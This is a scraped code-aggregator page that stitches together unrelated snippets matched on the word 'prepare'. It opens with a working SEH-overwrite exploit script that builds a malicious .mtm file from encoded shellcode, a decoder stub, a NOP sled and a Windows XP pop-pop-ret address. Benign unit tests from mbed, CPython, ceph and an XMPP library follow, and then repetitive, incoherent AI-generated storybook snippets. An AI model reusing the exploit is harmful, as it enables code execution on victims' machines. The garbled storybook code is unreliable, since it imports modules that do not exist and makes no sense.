("\x89\xe1\xda\xd7\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"22"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x56\x58\x34"23"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"24"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"25"\x50\x38\x41\x43\x4a\x4a\x49\x4d\x38\x4d\x59\x43\x30"26"\x43\x30\x45\x50\x43\x50\x4d\x59\x4b\x55\x56\x51\x58\x52\x43"27"\x54\x4c\x4b\x50\x52\x50\x30\x4c\x4b\x56\x32\x54\x4c\x4c\x4b"28"\x51\x42\x54\x54\x43\x42\x51\x38\x54\x4f\x58\x37\x51"29"\x5a\x56\x46\x50\x31\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c"30"\x43\x51\x43\x4c\x43\x32\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54"31"\x4d\x58\x47\x5a\x42\x5a\x50\x51\x42\x50\x57\x4c\x4b"32"\x51\x42\x54\x50\x4c\x4b\x47\x32\x47\x4c\x45\x51\x4e\x30\x4c"33"\x4b\x47\x30\x43\x48\x4d\x55\x4f\x30\x43\x44\x50\x4a"34"\x4e\x30\x50\x50\x4c\x4b\x50\x48\x54\x58\x4c\x4b\x56\x38\x47"35"\x50\x43\x31\x4e\x33\x4b\x53\x47\x4c\x50\x49\x4c\x4b\x50\x34"36"\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x49\x50\x4e"37"\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x47\x48\x4b\x50"38"\x52\x55\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x47"39"\x54\x54\x35\x4b\x52\x51\x48\x56\x38\x56\x44\x43\x31"40"\x49\x43\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x50\x58\x45"41"\x4c\x45\x51\x58\x53\x4c\x4b\x54\x44\x4c\x4b\x45\x51\x58\x50"42"\x4d\x59\x50\x44\x56\x44\x51\x4b\x51\x4b\x45\x31\x56"43"\x39\x50\x5a\x56\x31\x4b\x4f\x4d\x30\x56\x38\x51\x4f\x50\x5a"44"\x4c\x4b\x54\x52\x5a\x4b\x4d\x56\x51\x4d\x52\x48\x47\x43\x50"45"\x32\x43\x30\x52\x48\x52\x57\x52\x53\x50\x32\x51\x4f"46"\x51\x44\x52\x48\x50\x4c\x54\x37\x47\x56\x54\x47\x4b\x4f\x49"47"\x45\x4e\x58\x4c\x50\x45\x51\x43\x30\x43\x30\x56\x49"48"\x51\x44\x56\x30\x52\x48\x56\x49\x4d\x50\x52\x4b\x43\x30\x4b"49"\x4f\x58\x55\x50\x50\x50\x50\x50\x50\x50\x50\x51\x50\x56\x30"50"\x51\x50\x56\x30\x52\x48\x4b\x5a\x54\x4f\x4b\x50\x4b"51"\x4f\x49\x45\x4b\x39\x58\x47\x43\x58\x4f\x30\x4f\x58\x47\x51"52"\x54\x32\x45\x38\x45\x52\x43\x30\x54\x51\x51\x4c\x4c\x49\x5a"53"\x46\x52\x4a\x52\x30\x51\x46\x45\x38\x4d\x49\x4e\x45"54"\x43\x44\x45\x31\x4b\x4f\x58\x55\x45\x38\x43\x53\x52\x4d\x45"55"\x34\x45\x50\x4b\x39\x5a\x43\x56\x37\x56\x37\x50\x57\x56\x51"56"\x4c\x36\x52\x4a\x50\x59\x51\x46\x5a\x42\x4b\x4d\x45"57"\x36\x4f\x37\x51\x54\x47\x54\x47\x4c\x45\x51\x43\x31\x4c\x4d"58"\x51\x54\x56\x44\x52\x30\x49\x56\x43\x30\x51\x54\x51\x44\x56"59"\x30\x50\x56\x50\x56\x47\x36\x50\x56\x50\x4e\x50\x56"60"\x51\x46\x56\x33\x56\x36\x52\x48\x52\x59\x58\x4c\x47\x4f\x4c"61"\x46\x4b\x4f\x58\x55\x4d\x59\x4b\x50\x50\x4e\x50\x56"62"\x4b\x4f\x56\x50\x43\x58\x45\x58\x4b\x37\x45\x4d\x43\x50\x4b"63"\x4f\x58\x55\x4f\x4b\x4c\x30\x4f\x45\x4e\x42\x56\x36\x52\x48"64"\x4e\x46\x4c\x55\x4f\x4d\x4d\x4d\x4b\x4f\x47\x4c\x43"65"\x36\x43\x4c\x45\x5a\x4d\x50\x4b\x4b\x4d\x30\x43\x45\x43\x35"66"\x4f\x4b\x51\x57\x45\x43\x43\x42\x52\x4f\x43\x5a\x45\x50\x51"67"\x43\x4b\x4f\x58\x55\x45\x5a")68 69prepare_shellcode = "\x90" * 4070prepare_shellcode += "\x90\x33\xDB" # xor ebx,ebx71prepare_shellcode += "\x54\x5B" # push esp - pop ebx72prepare_shellcode += "\x81\xEB\x17\xCB\xFF\xFF" # sub ebx,-34E973prepare_shellcode += "\x83\xc3\x3B" # add ebx,3B74prepare_shellcode += "\x83\xEB\x22" # sub ebx,2275prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da76prepare_shellcode += "\x43" # inc ebx77prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da78prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F79prepare_shellcode += "\x83\xEB\x16" # sub ebx,1680prepare_shellcode += "\x90" * 681prepare_shellcode += "\x80\x2B\xC2" # sub byte ptr ds:[ebx],0c282prepare_shellcode += "\x43" # inc ebx83prepare_shellcode += "\x80\x2B\xBE" # sub byte ptr ds:[ebx],0be84prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F85prepare_shellcode += "\x83\xEB\x16" # sub ebx,1686prepare_shellcode += "\x80\x2B\xC1" # sub byte ptr ds:[ebx],0c187prepare_shellcode += "\x43" # inc ebx88prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF89prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F90prepare_shellcode += "\x83\xEB\x16" # sub ebx,1691prepare_shellcode += "\x80\x2B\xC8" # sub byte ptr ds:[ebx],0c892prepare_shellcode += "\x43" # inc ebx93prepare_shellcode += "\x80\x2B\xB9" # sub byte ptr ds:[ebx],0B994prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F95prepare_shellcode += "\x90" * 496prepare_shellcode += "\x83\xEB\x16" # sub ebx,1697prepare_shellcode += "\x80\x2B\xCA" # sub byte ptr ds:[ebx],0CA98prepare_shellcode += "\x43" # inc ebx99prepare_shellcode += "\x80\x2B\xD9" # sub byte ptr ds:[ebx],0D9100prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F101prepare_shellcode += "\x83\xEB\x16" # sub ebx,16102prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7103prepare_shellcode += "\x43" # inc ebx104prepare_shellcode += "\x80\x2B\xB9" # sub byte ptr ds:[ebx],0B9105prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F106prepare_shellcode += "\x83\xEB\x16" # sub ebx,16107prepare_shellcode += "\x80\x2B\xC1" # sub byte ptr ds:[ebx],0c1108prepare_shellcode += "\x43" # inc ebx109prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF110prepare_shellcode += "\x90" * 4111prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F112prepare_shellcode += "\x83\xEB\x16" # sub ebx,16113prepare_shellcode += "\x80\x2B\xBC" # sub byte ptr ds:[ebx],0BC114prepare_shellcode += "\x43" # inc ebx115prepare_shellcode += "\x80\x2B\xD6" # sub byte ptr ds:[ebx],0D6116prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F117prepare_shellcode += "\x83\xEB\x16" # sub ebx,16118prepare_shellcode += "\x80\x2B\xCA" # sub byte ptr ds:[ebx],0CA119prepare_shellcode += "\x43" # inc ebx120prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da121prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F122prepare_shellcode += "\x83\xEB\x16" # sub ebx,16123prepare_shellcode += "\x80\x2B\xC4" # sub byte ptr ds:[ebx],0c4124prepare_shellcode += "\x43" # inc ebx125prepare_shellcode += "\x90" * 4126prepare_shellcode += "\x80\x2B\xB6" # sub byte ptr ds:[ebx],0B6127prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F128prepare_shellcode += "\x83\xEB\x16" # sub ebx,16129prepare_shellcode += "\x80\x2B\xC4" # sub byte ptr ds:[ebx],0c4130prepare_shellcode += "\x43" # inc ebx131prepare_shellcode += "\x80\x2B\xBB" # sub byte ptr ds:[ebx],0BB132prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F133prepare_shellcode += "\x83\xEB\x16" # sub ebx,16134prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7135prepare_shellcode += "\x43" # inc ebx136prepare_shellcode += "\x80\x2B\xD3" # sub byte ptr ds:[ebx],0D3137prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F138prepare_shellcode += "\x83\xEB\x16" # sub ebx,16139prepare_shellcode += "\x90" * 6140prepare_shellcode += "\x80\x2B\xBB" # sub byte ptr ds:[ebx],0BB141prepare_shellcode += "\x43" # inc ebx142prepare_shellcode += "\x80\x2B\xD8" # sub byte ptr ds:[ebx],0D8143prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F144prepare_shellcode += "\x83\xEB\x16" # sub ebx,16145prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7146prepare_shellcode += "\x43" # inc ebx147prepare_shellcode += "\x80\x2B\xD4" # sub byte ptr ds:[ebx],0d4148prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F149prepare_shellcode += "\x83\xEB\x16" # sub ebx,16150prepare_shellcode += "\x80\x2B\xBC" # sub byte ptr ds:[ebx],0BC151prepare_shellcode += "\x43" # inc ebx152prepare_shellcode += "\x80\x2B\xB4" # sub byte ptr ds:[ebx],0B4153prepare_shellcode += "\x90" * 6154prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F155prepare_shellcode += "\x83\xEB\x16" # sub ebx,16156prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF157prepare_shellcode += "\x43" # inc ebx158prepare_shellcode += "\x80\x2B\xD5" # sub byte ptr ds:[ebx],0D5159prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F160prepare_shellcode += "\x83\xEB\x16" # sub ebx,16161prepare_shellcode += "\x80\x2B\xCC" # sub byte ptr ds:[ebx],0CC162prepare_shellcode += "\x43" # inc ebx163prepare_shellcode += "\x80\x2B\xC9" # sub byte ptr ds:[ebx],0C9164prepare_shellcode += "\x90"*305165 166nseh = "\xeb\x30\x90\x90"167seh = "\x3f\x28\xd1\x72" # 0x72D1283F - ppr - msacm32.drv - Windows XP SP3 EN168tail = "\x41" * 120169payload = header + nopsled + tail + nseh + seh + prepare_shellcode + shellcode + "\x90" * 100170 171file = open("sploit.mtm", "w")172file.write(payload)173file.close()174 ...
build_api_test.py
Source:build_api_test.py
1"""2mbed SDK3Copyright (c) 2016 ARM Limited4Licensed under the Apache License, Version 2.0 (the "License");5you may not use this file except in compliance with the License.6You may obtain a copy of the License at7http://www.apache.org/licenses/LICENSE-2.08Unless required by applicable law or agreed to in writing, software9distributed under the License is distributed on an "AS IS" BASIS,10WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.11See the License for the specific language governing permissions and12limitations under the License.13"""14import unittest15from mock import patch16from tools.build_api import prepare_toolchain, build_project, build_library17"""18Tests for build_api.py19"""20class BuildApiTests(unittest.TestCase):21 """22 Test cases for Build Api23 """24 def setUp(self):25 """26 Called before each test case27 :return:28 """29 self.target = "K64F"30 self.src_paths = ['.']31 self.toolchain_name = "ARM"32 self.build_path = "build_path"33 def tearDown(self):34 """35 Called after each test case36 :return:37 """38 pass39 @patch('tools.config.Config.__init__')40 def test_prepare_toolchain_app_config(self, mock_config_init):41 """42 Test that prepare_toolchain uses app_config correctly43 :param mock_config_init: mock of Config __init__44 :return:45 """46 app_config = "app_config"47 mock_config_init.return_value = None48 prepare_toolchain(self.src_paths, self.target, self.toolchain_name,49 app_config=app_config)50 mock_config_init.assert_called_with(self.target, self.src_paths,51 app_config=app_config)52 @patch('tools.config.Config.__init__')53 def test_prepare_toolchain_no_app_config(self, mock_config_init):54 """55 Test that prepare_toolchain correctly deals with no app_config56 :param mock_config_init: mock of Config __init__57 :return:58 """59 mock_config_init.return_value = None60 prepare_toolchain(self.src_paths, self.target, self.toolchain_name)61 mock_config_init.assert_called_with(self.target, self.src_paths,62 app_config=None)63 @patch('tools.build_api.scan_resources')64 @patch('tools.build_api.mkdir')65 @patch('os.path.exists')66 @patch('tools.build_api.prepare_toolchain')67 def test_build_project_app_config(self, mock_prepare_toolchain, mock_exists, _, __):68 """69 Test that build_project uses app_config correctly70 :param mock_prepare_toolchain: mock of function prepare_toolchain71 :param mock_exists: mock of function os.path.exists72 :param _: mock of function mkdir (not tested)73 :param __: mock of function scan_resources (not tested)74 :return:75 """76 app_config = "app_config"77 mock_exists.return_value = False78 mock_prepare_toolchain().link_program.return_value = 1, 279 build_project(self.src_paths, self.build_path, self.target,80 self.toolchain_name, app_config=app_config)81 args = mock_prepare_toolchain.call_args82 self.assertTrue('app_config' in args[1],83 "prepare_toolchain was not called with app_config")84 self.assertEqual(args[1]['app_config'], app_config,85 "prepare_toolchain was called with an incorrect app_config")86 @patch('tools.build_api.scan_resources')87 @patch('tools.build_api.mkdir')88 @patch('os.path.exists')89 @patch('tools.build_api.prepare_toolchain')90 def test_build_project_no_app_config(self, mock_prepare_toolchain, mock_exists, _, __):91 """92 Test that build_project correctly deals with no app_config93 :param mock_prepare_toolchain: mock of function prepare_toolchain94 :param mock_exists: mock of function os.path.exists95 :param _: mock of function mkdir (not tested)96 :param __: mock of function scan_resources (not tested)97 :return:98 """99 mock_exists.return_value = False100 # Needed for the unpacking of the returned value101 mock_prepare_toolchain().link_program.return_value = 1, 2102 build_project(self.src_paths, self.build_path, self.target,103 self.toolchain_name)104 args = mock_prepare_toolchain.call_args105 self.assertTrue('app_config' in args[1],106 "prepare_toolchain was not called with app_config")107 self.assertEqual(args[1]['app_config'], None,108 "prepare_toolchain was called with an incorrect app_config")109 @patch('tools.build_api.scan_resources')110 @patch('tools.build_api.mkdir')111 @patch('os.path.exists')112 @patch('tools.build_api.prepare_toolchain')113 def test_build_library_app_config(self, mock_prepare_toolchain, mock_exists, _, __):114 """115 Test that build_library uses app_config correctly116 :param mock_prepare_toolchain: mock of function prepare_toolchain117 :param mock_exists: mock of function os.path.exists118 :param _: mock of function mkdir (not tested)119 :param __: mock of function scan_resources (not tested)120 :return:121 """122 app_config = "app_config"123 mock_exists.return_value = False124 build_library(self.src_paths, self.build_path, self.target,125 self.toolchain_name, app_config=app_config)126 args = mock_prepare_toolchain.call_args127 self.assertTrue('app_config' in args[1],128 "prepare_toolchain was not called with app_config")129 self.assertEqual(args[1]['app_config'], app_config,130 "prepare_toolchain was called with an incorrect app_config")131 @patch('tools.build_api.scan_resources')132 @patch('tools.build_api.mkdir')133 @patch('os.path.exists')134 @patch('tools.build_api.prepare_toolchain')135 def test_build_library_no_app_config(self, mock_prepare_toolchain, mock_exists, _, __):136 """137 Test that build_library correctly deals with no app_config138 :param mock_prepare_toolchain: mock of function prepare_toolchain139 :param mock_exists: mock of function os.path.exists140 :param _: mock of function mkdir (not tested)141 :param __: mock of function scan_resources (not tested)142 :return:143 """144 mock_exists.return_value = False145 build_library(self.src_paths, self.build_path, self.target,146 self.toolchain_name)147 args = mock_prepare_toolchain.call_args148 self.assertTrue('app_config' in args[1],149 "prepare_toolchain was not called with app_config")150 self.assertEqual(args[1]['app_config'], None,151 "prepare_toolchain was called with an incorrect app_config")152if __name__ == '__main__':...
test_metaclass.py
Source:test_metaclass.py
...161 >>> print(sorted(C.items()))162 [('__module__', 'test.test_metaclass'), ('__qualname__', 'C'), ('a', 42), ('b', 24)]163 >>>164And again, with a __prepare__ attribute.165 >>> def prepare(name, bases, **kwds):166 ... print("prepare:", name, bases, sorted(kwds.items()))167 ... return LoggingDict()168 ...169 >>> meta.__prepare__ = prepare170 >>> class C(metaclass=meta, other="booh"):171 ... a = 1172 ... a = 2173 ... b = 3174 ...175 prepare: C () [('other', 'booh')]176 d['__module__'] = 'test.test_metaclass'177 d['__qualname__'] = 'C'178 d['a'] = 1179 d['a'] = 2...
test_prepare.py
Source:test_prepare.py
...89 prepare = lvm.prepare.Prepare(argv=[])90 prepare.args = Mock()91 prepare.args.data = '/dev/sdfoo'92 prepare.get_lv = Mock()93 prepare.safe_prepare()94 expected = 'skipping {}, it is already prepared'.format('/dev/sdfoo')95 assert expected in str(error.value)96class TestGetJournalLV(object):97 @pytest.mark.parametrize('arg', ['', '///', None, '/dev/sda1'])98 def test_no_journal_on_invalid_path(self, monkeypatch, arg):99 monkeypatch.setattr(lvm.prepare.api, 'get_lv', lambda **kw: False)100 prepare = lvm.prepare.Prepare([])101 assert prepare.get_lv(arg) is None102 def test_no_journal_lv_found(self, monkeypatch):103 # patch it with 0 so we know we are getting to get_lv104 monkeypatch.setattr(lvm.prepare.api, 'get_lv', lambda **kw: 0)105 prepare = lvm.prepare.Prepare([])106 assert prepare.get_lv('vg/lv') == 0107class TestActivate(object):...
test_jabberxmppstringprep.py
Source:test_jabberxmppstringprep.py
...34 the allowed set of characters. The tests here only check for the35 differences.36 """37 def testResourcePrep(self):38 self.assertEqual(resourceprep.prepare(u'resource'), u'resource')39 self.assertNotEqual(resourceprep.prepare(u'Resource'), u'resource')40 self.assertEqual(resourceprep.prepare(u' '), u' ')41 self.assertEqual(resourceprep.prepare(u'Henry \u2163'), u'Henry IV')42 self.assertEqual(resourceprep.prepare(u'foo\xad\u034f\u1806\u180b'43 u'bar\u200b\u2060'44 u'baz\ufe00\ufe08\ufe0f\ufeff'),45 u'foobarbaz')46 self.assertEqual(resourceprep.prepare(u'\u00a0'), u' ')47 self.assertRaises(UnicodeError, resourceprep.prepare, u'\u1680')48 self.assertEqual(resourceprep.prepare(u'\u2000'), u' ')49 self.assertEqual(resourceprep.prepare(u'\u200b'), u'')50 self.assertRaises(UnicodeError, resourceprep.prepare, u'\u0010\u007f')51 self.assertRaises(UnicodeError, resourceprep.prepare, u'\u0085')52 self.assertRaises(UnicodeError, resourceprep.prepare, u'\u180e')53 self.assertEqual(resourceprep.prepare(u'\ufeff'), u'')54 self.assertRaises(UnicodeError, resourceprep.prepare, u'\uf123')55 self.assertRaises(UnicodeError, resourceprep.prepare, u'\U000f1234')56 self.assertRaises(UnicodeError, resourceprep.prepare, u'\U0010f234')57 self.assertRaises(UnicodeError, resourceprep.prepare, u'\U0008fffe')58 self.assertRaises(UnicodeError, resourceprep.prepare, u'\U0010ffff')59 self.assertRaises(UnicodeError, resourceprep.prepare, u'\udf42')60 self.assertRaises(UnicodeError, resourceprep.prepare, u'\ufffd')61 self.assertRaises(UnicodeError, resourceprep.prepare, u'\u2ff5')62 self.assertEqual(resourceprep.prepare(u'\u0341'), u'\u0301')63 self.assertRaises(UnicodeError, resourceprep.prepare, u'\u200e')64 self.assertRaises(UnicodeError, resourceprep.prepare, u'\u202a')65 self.assertRaises(UnicodeError, resourceprep.prepare, u'\U000e0001')66 self.assertRaises(UnicodeError, resourceprep.prepare, u'\U000e0042')67 self.assertRaises(UnicodeError, resourceprep.prepare, u'foo\u05bebar')68 self.assertRaises(UnicodeError, resourceprep.prepare, u'foo\ufd50bar')69 #self.assertEqual(resourceprep.prepare(u'foo\ufb38bar'),70 # u'foo\u064ebar')71 self.assertRaises(UnicodeError, resourceprep.prepare, u'\u06271')72 self.assertEqual(resourceprep.prepare(u'\u06271\u0628'),73 u'\u06271\u0628')74 self.assertRaises(UnicodeError, resourceprep.prepare, u'\U000e0002')75 def testNodePrep(self):76 self.assertEqual(nodeprep.prepare(u'user'), u'user')77 self.assertEqual(nodeprep.prepare(u'User'), u'user')78 self.assertRaises(UnicodeError, nodeprep.prepare, u'us&er')79 def test_nodeprepUnassignedInUnicode32(self):80 """81 Make sure unassigned code points from Unicode 3.2 are rejected.82 """83 self.assertRaises(UnicodeError, nodeprep.prepare, u'\u1d39')84 def testNamePrep(self):85 self.assertEqual(nameprep.prepare(u'example.com'), u'example.com')86 self.assertEqual(nameprep.prepare(u'Example.com'), u'example.com')87 self.assertRaises(UnicodeError, nameprep.prepare, u'ex@mple.com')88 self.assertRaises(UnicodeError, nameprep.prepare, u'-example.com')89 self.assertRaises(UnicodeError, nameprep.prepare, u'example-.com')90 self.assertEqual(nameprep.prepare(u'stra\u00dfe.example.com'),91 u'strasse.example.com')92 def test_nameprepTrailingDot(self):93 """94 A trailing dot in domain names is preserved.95 """...
Using AI Code Generation
1import { withRootDecorator } from 'storybook-root-decorator';2export default {3};4export const Test = () => <div>Test</div>;5import { withRootDecorator } from 'storybook-root-decorator';6export const decorators = [withRootDecorator];7import { withRootDecorator } from 'storybook-root-decorator';8export const decorators = [withRootDecorator];9import { withRootDecorator } from 'storybook-root-decorator';10export const decorators = [withRootDecorator];11import { withRootDecorator } from 'storybook-root-decorator';12export const decorators = [withRootDecorator];13import { withRootDecorator } from 'storybook-root-decorator';14export const decorators = [withRootDecorator];15import { withRootDecorator } from 'storybook-root-decorator';16export const decorators = [withRootDecorator];17import { withRootDecorator } from 'storybook-root-decorator';18export const decorators = [withRootDecorator];19import { withRootDecorator } from 'storybook-root-decorator';20export const decorators = [withRootDecorator];21import { withRootDecorator } from 'storybook-root-decorator';22export const decorators = [withRootDecorator];23import { withRootDecorator } from 'storybook-root-decorator';
Using AI Code Generation
1import { prepare } from 'storybook-root-decorator';2import { configure } from 'storybook-root-decorator';3import { preview } from 'storybook-root-decorator';4import { withRootDecorator } from 'storybook-root-decorator';5import { withRootDecorator } from 'storybook-root-decorator';6import { withRootDecorator } from 'storybook-root-decorator';7import { withRootDecorator } from 'storybook-root-decorator';8import { withRootDecorator } from 'storybook-root-decorator';9import { withRootDecorator } from 'storybook-root-decorator';10import { withRootDecorator } from 'storybook-root-decorator';
Using AI Code Generation
1import { configure } from '@storybook/react';2function loadStories() {3 require('../src/stories');4}5configure(loadStories, module);6import { configure } from '@storybook/react';7configure(require.context('../stories', true, /\.stories\.js$/), module);8import React from 'react';9import { storiesOf } from '@storybook/react';10import { linkTo } from '@storybook/addon-links';11import { Welcome } from '@storybook/react/demo';12storiesOf('Welcome', module).add('to Storybook', () => <Welcome showApp={linkTo('Button')} />);13import React from 'react';14import { storiesOf } from '@storybook/react';15import { action } from '@storybook/addon-actions';16import { Button } from '@storybook/react/demo';17storiesOf('Button', module)18 .add('with text', () => <Button onClick={action('clicked')}>Hello Button</Button>)19 .add('with some emoji', () => (20 <Button onClick={action('clicked')}>21 ));22import React from 'react';23import { storiesOf } from '@storybook/react';24import { action } from '@storybook/addon-actions';25import { Button } from '@storybook/react/demo';26storiesOf('Button', module)27 .add('with text', () => <Button onClick={action('clicked')}>Hello Button</Button>)28 .add('with some emoji', () => (29 <Button onClick={action('clicked')}>30 ));31import React from 'react';32import { storiesOf }
Using AI Code Generation
1import { prepare } from "storybook-root/prepare";2import { storiesOf } from "@storybook/react";3import { linkTo } from "@storybook/addon-links";4import { Welcome } from "@storybook/react/demo";5import "storybook-root/prepare";6import { withKnobs } from "@storybook/addon-knobs";7prepare({8 {9 }10 options: {
Using AI Code Generation
1import { prepare } from 'storybook-root';2prepare();3export const prepare = () => {4 console.log('prepare method called');5};6import { prepare } from 'storybook-root';7prepare();8export const prepare = () => {9 console.log('prepare method called');10};11import { prepare } from 'storybook-root';12prepare();13export const prepare = () => {14 console.log('prepare method called');15};16import { prepare } from 'storybook-root';17prepare();
Using AI Code Generation
1import { prepare } from 'storybook-root';2import { configure } from '@storybook/react';3prepare('storybook-root');4configure(require.context('../src', true, /\.stories\.js$/), module);5import { prepare } from 'storybook-root';6import { configure } from '@storybook/react';7prepare('storybook-root');8configure(require.context('../src', true, /\.stories\.js$/), module);
Using AI Code Generation
1import { prepare } from './storybook-root-config';2import { addDecorator, addParameters } from '@storybook/web-components';3import { withA11y } from '@storybook/addon-a11y';4import { withKnobs } from '@storybook/addon-knobs';5import { withWebComponentsKnobs } from '@open-wc/demoing-storybook';6import { INITIAL_VIEWPORTS } from '@storybook/addon-viewport';7const customViewports = {8 extraSmall: {9 styles: {10 }11 },12 small: {13 styles: {14 }15 },16 medium: {17 styles: {18 }19 },20 large: {21 styles: {22 }23 },24 extraLarge: {25 styles: {26 }27 },28 extraExtraLarge: {29 styles: {30 }31 }32};33addParameters({34 viewport: {35 viewports: { ...customViewports, ...INITIAL_VIEWPORTS }36 }37});38prepare();39addDecorator(withKnobs);40addDecorator(withWebComponentsKnobs);41addDecorator(withA11y);42import { prepare } from './storybook-root-config';43import { addDecorator, addParameters } from '@storybook/web-components';44import { withA11y } from '@storybook/addon-a11y';45import { withKnobs } from '@storybook/addon-knobs';46import
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!